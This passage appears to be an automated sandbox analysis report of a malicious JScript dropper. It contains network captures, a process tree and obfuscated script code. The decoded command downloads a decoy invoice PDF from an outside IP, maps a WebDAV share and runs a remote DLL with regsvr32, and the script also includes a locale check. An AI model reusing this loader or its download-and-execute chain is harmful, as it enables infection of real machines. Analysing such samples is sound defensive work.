Jan 11, 2025 03:17:53.833441019 CET	1236	IN	Data Raw: c2 96 7f bb 15 ed d4 b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~
Jan 11, 2025 03:17:53.833475113 CET	1236	IN	Data Raw: e8 33 b6 dc d3 b5 d0 db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 Data Ascii: 3~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ
Jan 11, 2025 03:17:53.833511114 CET	1236	IN	Data Raw: 7f 90 9a 98 55 9f 44 73 cf 58 cd a7 83 7c 46 68 e6 87 01 cc db de bc b8 a3 49 d4 7f 16 98 4f 81 f5 be 9a e9 4a ca 37 96 45 5f c4 85 8a 64 fd 2b 18 fe 8e ab dc 69 47 6f b6 f4 50 00 13 aa fc 37 7d 7c ae 72 07 86 c6 31 f4 36 8a a1 27 d9 18 2a 9b 72 Data Ascii: UDsX\|FhIOJ7E_d+iGoP7}\|r16'*rA;WIL}s_,$?i/TDGKx:z:GMX"D?W5XOfhUV#5zK\iKVF?GLS+<]j+t-9,O%{ZS
Jan 11, 2025 03:17:53.833544016 CET	1236	IN	Data Raw: cc ca 83 4d c3 a7 ab a6 84 86 2f 65 ee 47 02 e4 bf 9a 9f 04 08 5f 5c 3f 63 eb 7f 0c c0 fc 30 80 f9 14 08 83 7b f9 d5 2c bf d3 16 ea a1 f5 3f 6e 51 ff b3 1f 85 16 e9 47 44 d3 55 95 d3 f6 42 77 5a 3f 2a be e8 db 9b af b7 01 6c ce aa bd 04 bb 2b 7f Data Ascii: M/eG_\?c0{,?nQGDUBwZ?*l+`hC?bC31t_PC={6H=17`\|d%4,hze?{l1@PB%hZ/[/Im4UQCcrW~&TZ.QcaRU_rWP5[t0Wi+3
Jan 11, 2025 03:17:53.833581924 CET	1236	IN	Data Raw: a5 87 ae d3 d4 37 27 00 00 80 69 f0 c5 12 00 6c 81 bf af fa 33 10 7d 7c 1c 3d 8e d0 9c de 38 7a 68 63 7d 0f cd 1d a8 27 bd 49 02 90 ee 65 a9 84 a6 aa 92 d2 8f ce a0 3f fd f4 d3 8f 3f fe f8 c3 0f 3f fc 33 32 fb fb b3 ff 55 aa 68 1a 14 9d 7d 10 c9 Data Ascii: 7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%{hazN'%.'JEhI\|]o67[5tEMN@h6wthe8vJX
Jan 11, 2025 03:17:53.838468075 CET	95	IN	Data Raw: 43 73 63 a1 e1 36 5a 9d 1d 73 e7 fd 85 a7 49 9a 1e 9a db 69 19 66 8b b0 59 84 3b 72 d3 c4 a5 c4 d0 d4 80 7c 09 4d 19 f4 6f ad bf f6 d2 7f 4d 55 74 f6 6b a4 87 ca be dc 70 59 ae 4c 84 49 12 4d 19 b4 be 84 ea 91 3d 33 b5 97 fe 4e 61 64 2f 37 a6 5a Data Ascii: Csc6ZsIifY;r\|MoMUtkpYLIM=3Nad/7ZXkJ>U?HX*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7884	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:17:55.735918045 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:17:56.557127953 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:17:56 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	21:17:49
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16042278381135117219.js"
Imagebase:	0x7ff7cf090000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	21:17:50
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll
Imagebase:	0x7ff67a960000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:17:50
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:17:50
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:17:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	21:17:55
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff67a960000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:17:55
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7709d0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:17:55
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	21:17:55
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x670000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:17:56
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1596,i,15640695230729667418,10940420248813327185,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function dgkqupigo() {	dgkqupigo() ➔ undefined
1	hnovagpb = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var jzlxfz = this[islqlht + ebgzr + hngqshco + pygbd + jwbquyqya + nzrwlc + qqrdwkrrd + edcstqy] ( this[bjqqkv + hbdznbpxr + kcscofhk + hngqshco + blxxjdj + islqlht + edcstqy][mioabybve + hngqshco + jwbquyqya + ebgzr + edcstqy + jwbquyqya + mghzb + wuvuh + gxjun + jwbquyqya + kcscofhk + edcstqy] ( bjqqkv + hbdznbpxr + kcscofhk + hngqshco + blxxjdj + islqlht + edcstqy + dvcenrai + hbdznbpxr + dyxyxegb + jwbquyqya + vydsprhzq + vydsprhzq ) [dbicve + jwbquyqya + nllyf + dbicve + jwbquyqya + ebgzr + bdsubr] ( cufbwiwee + byvqcnxh + wxvif + dewkehvkk + qzrdp + mioabybve + pxodxx + dbicve + dbicve + wxvif + veiqzhha + vowhoda + qzrdp + pxodxx + hbdznbpxr + wxvif + dbicve + xxgdfl + mioabybve + icdhotr + qqrdwkrrd + edcstqy + hngqshco + icdhotr + vydsprhzq + gynrnxk + ogmslidhu + ebgzr + qqrdwkrrd + jwbquyqya + vydsprhzq + xxgdfl + nzrwlc + qqrdwkrrd + edcstqy + jwbquyqya + hngqshco + qqrdwkrrd + ebgzr + edcstqy + blxxjdj + icdhotr + qqrdwkrrd + ebgzr + vydsprhzq + xxgdfl + trycybjwf + icdhotr + kcscofhk + ebgzr + vydsprhzq + jwbquyqya ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( kdzsgpp = 0 ; kdzsgpp < hnovagpb[vydsprhzq + jwbquyqya + qqrdwkrrd + nllyf + edcstqy + dyxyxegb] ; ++ kdzsgpp )
4	{
5	if ( jzlxfz == hnovagpb[kdzsgpp] )
6	{
7	jzlxfz = true;
8	break ;
9	}
10	}
11	if ( jzlxfz !== true )
12	this[bjqqkv + hbdznbpxr + kcscofhk + hngqshco + blxxjdj + islqlht + edcstqy][xrbacht + uvotm + blxxjdj + edcstqy] ( );
13	this[bjqqkv + hbdznbpxr + kcscofhk + hngqshco + blxxjdj + islqlht + edcstqy][mioabybve + hngqshco + jwbquyqya + ebgzr + edcstqy + jwbquyqya + mghzb + wuvuh + gxjun + jwbquyqya + kcscofhk + edcstqy] ( bjqqkv + hbdznbpxr + kcscofhk + hngqshco + blxxjdj + islqlht + edcstqy + dvcenrai + hbdznbpxr + dyxyxegb + jwbquyqya + vydsprhzq + vydsprhzq ) [hngqshco + uvotm + qqrdwkrrd] ( kcscofhk + pmldg + bdsubr + gynrnxk + rntgtzxx + kcscofhk + gynrnxk + islqlht + icdhotr + hiewg + jwbquyqya + hngqshco + pygbd + dyxyxegb + jwbquyqya + vydsprhzq + vydsprhzq + dvcenrai + jwbquyqya + qgiiqss + jwbquyqya + gynrnxk + ywxvza + mioabybve + icdhotr + pmldg + pmldg + ebgzr + qqrdwkrrd + bdsubr + gynrnxk + wtdeos + nzrwlc + qqrdwkrrd + vbmqtqp + icdhotr + rfntrou + jwbquyqya + ywxvza + bjqqkv + jwbquyqya + wuvuh + dbicve + jwbquyqya + jkxthnp + uvotm + jwbquyqya + pygbd + edcstqy + gynrnxk + ywxvza + mghzb + uvotm + edcstqy + oxsqd + blxxjdj + vydsprhzq + jwbquyqya + gynrnxk + yktigtisx + edcstqy + jwbquyqya + pmldg + islqlht + yktigtisx + xxgdfl + blxxjdj + qqrdwkrrd + vbmqtqp + icdhotr + blxxjdj + kcscofhk + jwbquyqya + dvcenrai + islqlht + bdsubr + cypdaydlr + gynrnxk + dyxyxegb + edcstqy + edcstqy + islqlht + zzmos + rntgtzxx + rntgtzxx + vmkoqxmol + zgnupgb + zyzebn + dvcenrai + vmkoqxmol + xdbhwfe + zyzebn + dvcenrai + vmkoqxmol + dvcenrai + ahmhjjw + lajhgmlaa + tdrxuevj + rntgtzxx + blxxjdj + qqrdwkrrd + vbmqtqp + icdhotr + blxxjdj + kcscofhk + jwbquyqya + dvcenrai + islqlht + dyxyxegb + islqlht + wtdeos + kvjeqq + kvjeqq + pygbd + edcstqy + ebgzr + hngqshco + edcstqy + gynrnxk + yktigtisx + edcstqy + jwbquyqya + pmldg + islqlht + yktigtisx + xxgdfl + blxxjdj + qqrdwkrrd + vbmqtqp + icdhotr + blxxjdj + kcscofhk + jwbquyqya + dvcenrai + islqlht + bdsubr + cypdaydlr + kvjeqq + kvjeqq + kcscofhk + pmldg + bdsubr + gynrnxk + rntgtzxx + kcscofhk + gynrnxk + qqrdwkrrd + jwbquyqya + edcstqy + gynrnxk + uvotm + pygbd + jwbquyqya + gynrnxk + xxgdfl + xxgdfl + vmkoqxmol + zgnupgb + zyzebn + dvcenrai + vmkoqxmol + xdbhwfe + zyzebn + dvcenrai + vmkoqxmol + dvcenrai + ahmhjjw + lajhgmlaa + tdrxuevj + fgeukbb + gtiurekcn + gtiurekcn + gtiurekcn + gtiurekcn + xxgdfl + bdsubr + ebgzr + vbmqtqp + hiewg + hiewg + hiewg + hngqshco + icdhotr + icdhotr + edcstqy + xxgdfl + kvjeqq + kvjeqq + kcscofhk + pmldg + bdsubr + gynrnxk + rntgtzxx + kcscofhk + gynrnxk + hngqshco + jwbquyqya + nllyf + pygbd + vbmqtqp + hngqshco + zyzebn + ahmhjjw + gynrnxk + rntgtzxx + pygbd + gynrnxk + xxgdfl + xxgdfl + vmkoqxmol + zgnupgb + zyzebn + dvcenrai + vmkoqxmol + xdbhwfe + zyzebn + dvcenrai + vmkoqxmol + dvcenrai + ahmhjjw + lajhgmlaa + tdrxuevj + fgeukbb + gtiurekcn + gtiurekcn + gtiurekcn + gtiurekcn + xxgdfl + bdsubr + ebgzr + vbmqtqp + hiewg + hiewg + hiewg + hngqshco + icdhotr + icdhotr + edcstqy + xxgdfl + ahmhjjw + olsvh + olsvh + vmkoqxmol + ahmhjjw + vmkoqxmol + ahmhjjw + olsvh + vmkoqxmol + ahmhjjw + xdbhwfe + tdrxuevj + lajhgmlaa + dvcenrai + bdsubr + vydsprhzq + vydsprhzq, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll",0,false) ➔ 0
14	}
15	jwbquyqya = "s";
16	jwbquyqya = "d";
17	jwbquyqya = "y";
18	jwbquyqya = "m";
19	jwbquyqya = "n";
20	jwbquyqya = "n";
21	jwbquyqya = "s";
22	jwbquyqya = "N";
23	jwbquyqya = "Y";
24	jwbquyqya = "m";
25	jwbquyqya = "l";
26	jwbquyqya = "O";
27	jwbquyqya = "M";
28	jwbquyqya = "a";
29	jwbquyqya = "w";
30	jwbquyqya = "x";
31	jwbquyqya = "E";
32	jwbquyqya = "s";
33	jwbquyqya = "X";
34	jwbquyqya = "D";
35	jwbquyqya = "h";
36	jwbquyqya = "e";
37	icdhotr = "W";
38	icdhotr = "t";
39	icdhotr = "Z";
40	icdhotr = "I";
41	icdhotr = "R";
42	icdhotr = "x";
43	icdhotr = "o";
44	icdhotr = "D";
45	icdhotr = "i";
46	icdhotr = "o";
47	tdrxuevj = "J";
48	tdrxuevj = "V";
49	tdrxuevj = "T";
50	tdrxuevj = "j";
51	tdrxuevj = "G";
52	tdrxuevj = "j";
53	tdrxuevj = "A";
54	tdrxuevj = "5";
55	ogmslidhu = "o";
56	ogmslidhu = "U";
57	ogmslidhu = "S";
58	ogmslidhu = "W";
59	ogmslidhu = "g";
60	ogmslidhu = "w";
61	ogmslidhu = "J";
62	ogmslidhu = "y";
63	ogmslidhu = "r";
64	ogmslidhu = "q";
65	ogmslidhu = "b";
66	ogmslidhu = "J";
67	ogmslidhu = "j";
68	ogmslidhu = "v";
69	ogmslidhu = "I";
70	ogmslidhu = "Q";
71	ogmslidhu = "n";
72	ogmslidhu = "j";
73	ogmslidhu = "P";
74	ogmslidhu = "M";
75	ogmslidhu = "a";
76	ogmslidhu = "J";
77	ogmslidhu = "O";
78	ogmslidhu = "H";
79	ogmslidhu = "g";
80	ogmslidhu = "w";
81	ogmslidhu = "j";
82	ogmslidhu = "D";
83	ogmslidhu = "W";
84	ogmslidhu = "T";
85	ogmslidhu = "k";
86	ogmslidhu = "b";
87	ogmslidhu = "g";
88	ogmslidhu = "P";
89	zyzebn = "G";
90	zyzebn = "n";
91	zyzebn = "b";
92	zyzebn = "J";
93	zyzebn = "X";
94	zyzebn = "3";
95	hiewg = "m";
96	hiewg = "r";
97	hiewg = "u";
98	hiewg = "x";
99	hiewg = "c";
100	hiewg = "C";
101	hiewg = "X";
102	hiewg = "i";
103	hiewg = "X";
104	hiewg = "M";
105	hiewg = "h";
106	hiewg = "r";
107	hiewg = "R";
108	hiewg = "S";
109	hiewg = "v";
110	hiewg = "v";
111	hiewg = "y";
112	hiewg = "a";
113	hiewg = "Q";
114	hiewg = "b";
115	hiewg = "m";
116	hiewg = "F";
117	hiewg = "Y";
118	hiewg = "C";
119	hiewg = "Y";
120	hiewg = "Z";
121	hiewg = "x";
122	hiewg = "V";
123	hiewg = "g";
124	hiewg = "w";
125	zgnupgb = "H";
126	zgnupgb = "e";
127	zgnupgb = "i";
128	zgnupgb = "l";
129	zgnupgb = "c";
130	zgnupgb = "w";
131	zgnupgb = "R";
132	zgnupgb = "y";
133	zgnupgb = "P";
134	zgnupgb = "s";
135	zgnupgb = "N";
136	zgnupgb = "x";
137	zgnupgb = "P";
138	zgnupgb = "O";
139	zgnupgb = "s";
140	zgnupgb = "U";
141	zgnupgb = "F";
142	zgnupgb = "C";
143	zgnupgb = "v";
144	zgnupgb = "t";
145	zgnupgb = "V";
146	zgnupgb = "y";
147	zgnupgb = "p";
148	zgnupgb = "z";
149	zgnupgb = "s";
150	zgnupgb = "p";
151	zgnupgb = "s";
152	zgnupgb = "9";
153	vbmqtqp = "h";
154	vbmqtqp = "J";
155	vbmqtqp = "q";
156	vbmqtqp = "p";
157	vbmqtqp = "s";
158	vbmqtqp = "H";
159	vbmqtqp = "M";
160	vbmqtqp = "L";
161	vbmqtqp = "Y";
162	vbmqtqp = "a";
163	vbmqtqp = "J";
164	vbmqtqp = "e";
165	vbmqtqp = "P";
166	vbmqtqp = "k";
167	vbmqtqp = "L";
168	vbmqtqp = "x";
169	vbmqtqp = "Q";
170	vbmqtqp = "h";
171	vbmqtqp = "B";
172	vbmqtqp = "E";
173	vbmqtqp = "c";
174	vbmqtqp = "J";
175	vbmqtqp = "L";
176	vbmqtqp = "c";
177	vbmqtqp = "C";
178	vbmqtqp = "C";
179	vbmqtqp = "y";
180	vbmqtqp = "Q";
181	vbmqtqp = "q";
182	vbmqtqp = "v";
183	hngqshco = "h";
184	hngqshco = "J";
185	hngqshco = "B";
186	hngqshco = "y";
187	hngqshco = "j";
188	hngqshco = "f";
189	hngqshco = "h";
190	hngqshco = "A";
191	hngqshco = "X";
192	hngqshco = "P";
193	hngqshco = "v";
194	hngqshco = "j";
195	hngqshco = "e";
196	hngqshco = "X";
197	hngqshco = "u";
198	hngqshco = "f";
199	hngqshco = "Y";
200	hngqshco = "g";
201	hngqshco = "p";
202	hngqshco = "n";
203	hngqshco = "Z";
204	hngqshco = "P";
205	hngqshco = "J";
206	hngqshco = "q";
207	hngqshco = "J";
208	hngqshco = "Z";
209	hngqshco = "S";
210	hngqshco = "x";
211	hngqshco = "Z";
212	hngqshco = "s";
213	hngqshco = "w";
214	hngqshco = "K";
215	hngqshco = "g";
216	hngqshco = "I";
217	hngqshco = "Y";
218	hngqshco = "J";
219	hngqshco = "s";
220	hngqshco = "q";
221	hngqshco = "Y";
222	hngqshco = "d";
223	hngqshco = "Z";
224	hngqshco = "d";
225	hngqshco = "i";
226	hngqshco = "x";
227	hngqshco = "r";
228	yktigtisx = "V";
229	yktigtisx = "Y";
230	yktigtisx = "y";
231	yktigtisx = "Y";
232	yktigtisx = "L";
233	yktigtisx = "q";
234	yktigtisx = "p";
235	yktigtisx = "J";
236	yktigtisx = "y";
237	yktigtisx = "t";
238	yktigtisx = "n";
239	yktigtisx = "i";
240	yktigtisx = "%";
241	dbicve = "C";
242	dbicve = "S";
243	dbicve = "d";
244	dbicve = "e";
245	dbicve = "W";
246	dbicve = "t";
247	dbicve = "P";
248	dbicve = "F";
249	dbicve = "N";
250	dbicve = "C";
251	dbicve = "C";
252	dbicve = "g";
253	dbicve = "r";
254	dbicve = "J";
255	dbicve = "K";
256	dbicve = "P";
257	dbicve = "R";
258	dyxyxegb = "p";
259	dyxyxegb = "f";
260	dyxyxegb = "r";
261	dyxyxegb = "t";
262	dyxyxegb = "N";
263	dyxyxegb = "D";
264	dyxyxegb = "e";
265	dyxyxegb = "j";
266	dyxyxegb = "M";
267	dyxyxegb = "A";
268	dyxyxegb = "L";
269	dyxyxegb = "D";
270	dyxyxegb = "U";
271	dyxyxegb = "S";
272	dyxyxegb = "c";
273	dyxyxegb = "W";
274	dyxyxegb = "n";
275	dyxyxegb = "o";
276	dyxyxegb = "p";
277	dyxyxegb = "n";
278	dyxyxegb = "n";
279	dyxyxegb = "O";
280	dyxyxegb = "h";
281	mioabybve = "v";
282	mioabybve = "c";
283	mioabybve = "l";
284	mioabybve = "P";
285	mioabybve = "K";
286	mioabybve = "I";
287	mioabybve = "H";
288	mioabybve = "c";
289	mioabybve = "i";
290	mioabybve = "T";
291	mioabybve = "P";
292	mioabybve = "u";
293	mioabybve = "B";
294	mioabybve = "O";
295	mioabybve = "g";
296	mioabybve = "x";
297	mioabybve = "G";
298	mioabybve = "u";
299	mioabybve = "W";
300	mioabybve = "V";
301	mioabybve = "X";
302	mioabybve = "d";
303	mioabybve = "C";
304	islqlht = "N";
305	islqlht = "S";
306	islqlht = "C";
307	islqlht = "w";
308	islqlht = "L";
309	islqlht = "q";
310	islqlht = "F";
311	islqlht = "D";
312	islqlht = "r";
313	islqlht = "O";
314	islqlht = "Z";
315	islqlht = "X";
316	islqlht = "D";
317	islqlht = "B";
318	islqlht = "G";
319	islqlht = "F";
320	islqlht = "U";
321	islqlht = "m";
322	islqlht = "R";
323	islqlht = "c";
324	islqlht = "J";
325	islqlht = "u";
326	islqlht = "G";
327	islqlht = "m";
328	islqlht = "R";
329	islqlht = "U";
330	islqlht = "H";
331	islqlht = "T";
332	islqlht = "P";
333	islqlht = "L";
334	islqlht = "l";
335	islqlht = "k";
336	islqlht = "T";
337	islqlht = "u";
338	islqlht = "p";
339	trycybjwf = "M";
340	trycybjwf = "n";
341	trycybjwf = "E";
342	trycybjwf = "D";
343	trycybjwf = "h";
344	trycybjwf = "h";
345	trycybjwf = "w";
346	trycybjwf = "K";
347	trycybjwf = "g";
348	trycybjwf = "h";
349	trycybjwf = "B";
350	trycybjwf = "v";
351	trycybjwf = "I";
352	trycybjwf = "t";
353	trycybjwf = "l";
354	trycybjwf = "b";
355	trycybjwf = "V";
356	trycybjwf = "L";
357	wuvuh = "m";
358	wuvuh = "O";
359	wuvuh = "a";
360	wuvuh = "I";
361	wuvuh = "N";
362	wuvuh = "i";
363	wuvuh = "G";
364	wuvuh = "T";
365	wuvuh = "h";
366	wuvuh = "S";
367	wuvuh = "B";
368	wuvuh = "u";
369	wuvuh = "A";
370	wuvuh = "O";
371	wuvuh = "e";
372	wuvuh = "p";
373	wuvuh = "e";
374	wuvuh = "R";
375	wuvuh = "F";
376	wuvuh = "D";
377	wuvuh = "J";
378	wuvuh = "Z";
379	wuvuh = "U";
380	wuvuh = "z";
381	wuvuh = "F";
382	wuvuh = "x";
383	wuvuh = "K";
384	wuvuh = "y";
385	wuvuh = "u";
386	wuvuh = "L";
387	wuvuh = "o";
388	wuvuh = "i";
389	wuvuh = "v";
390	wuvuh = "b";
391	wuvuh = "R";
392	wuvuh = "b";
393	wuvuh = "o";
394	wuvuh = "I";
395	wuvuh = "t";
396	wuvuh = "b";
397	mghzb = "p";
398	mghzb = "r";
399	mghzb = "r";
400	mghzb = "O";
401	mghzb = "R";
402	mghzb = "T";
403	mghzb = "T";
404	mghzb = "a";
405	mghzb = "s";
406	mghzb = "E";
407	mghzb = "J";
408	mghzb = "A";
409	mghzb = "s";
410	mghzb = "H";
411	mghzb = "A";
412	mghzb = "x";
413	mghzb = "O";
414	kcscofhk = "I";
415	kcscofhk = "u";
416	kcscofhk = "P";
417	kcscofhk = "R";
418	kcscofhk = "P";
419	kcscofhk = "L";
420	kcscofhk = "q";
421	kcscofhk = "g";
422	kcscofhk = "v";
423	kcscofhk = "G";
424	kcscofhk = "c";
425	kcscofhk = "S";
426	kcscofhk = "N";
427	kcscofhk = "n";
428	kcscofhk = "w";
429	kcscofhk = "u";
430	kcscofhk = "e";
431	kcscofhk = "N";
432	kcscofhk = "U";
433	kcscofhk = "Q";
434	kcscofhk = "b";
435	kcscofhk = "c";
436	uvotm = "j";
437	uvotm = "q";
438	uvotm = "N";
439	uvotm = "C";
440	uvotm = "P";
441	uvotm = "c";
442	uvotm = "W";
443	uvotm = "S";
444	uvotm = "r";
445	uvotm = "W";
446	uvotm = "P";
447	uvotm = "W";
448	uvotm = "O";
449	uvotm = "o";
450	uvotm = "g";
451	uvotm = "U";
452	uvotm = "k";
453	uvotm = "g";
454	uvotm = "r";
455	uvotm = "z";
456	uvotm = "M";
457	uvotm = "k";
458	uvotm = "C";
459	uvotm = "q";
460	uvotm = "u";
461	xxgdfl = "e";
462	xxgdfl = "p";
463	xxgdfl = "t";
464	xxgdfl = "A";
465	xxgdfl = "V";
466	xxgdfl = "z";
467	xxgdfl = "A";
468	xxgdfl = "G";
469	xxgdfl = "r";
470	xxgdfl = "j";
471	xxgdfl = "s";
472	xxgdfl = "l";
473	xxgdfl = "G";
474	xxgdfl = "D";
475	xxgdfl = "G";
476	xxgdfl = "n";
477	xxgdfl = "b";
478	xxgdfl = "I";
479	xxgdfl = "V";
480	xxgdfl = "t";
481	xxgdfl = "f";
482	xxgdfl = "w";
483	xxgdfl = "U";
484	xxgdfl = "o";
485	xxgdfl = "k";
486	xxgdfl = "U";
487	xxgdfl = "h";
488	xxgdfl = "k";
489	xxgdfl = "S";
490	xxgdfl = "V";
491	xxgdfl = "N";
492	xxgdfl = "u";
493	xxgdfl = "u";
494	xxgdfl = "\\";
495	nllyf = "i";
496	nllyf = "g";
497	nllyf = "s";
498	nllyf = "x";
499	nllyf = "Q";
500	nllyf = "o";
501	nllyf = "g";
502	nllyf = "v";
503	nllyf = "w";
504	nllyf = "L";
505	nllyf = "I";
506	nllyf = "A";
507	nllyf = "s";
508	nllyf = "N";
509	nllyf = "d";
510	nllyf = "Y";
511	nllyf = "t";
512	nllyf = "C";
513	nllyf = "Y";
514	nllyf = "s";
515	nllyf = "F";
516	nllyf = "y";
517	nllyf = "a";
518	nllyf = "j";
519	nllyf = "g";
520	bjqqkv = "O";
521	bjqqkv = "j";
522	bjqqkv = "z";
523	bjqqkv = "A";
524	bjqqkv = "x";
525	bjqqkv = "m";
526	bjqqkv = "c";
527	bjqqkv = "H";
528	bjqqkv = "j";
529	bjqqkv = "r";
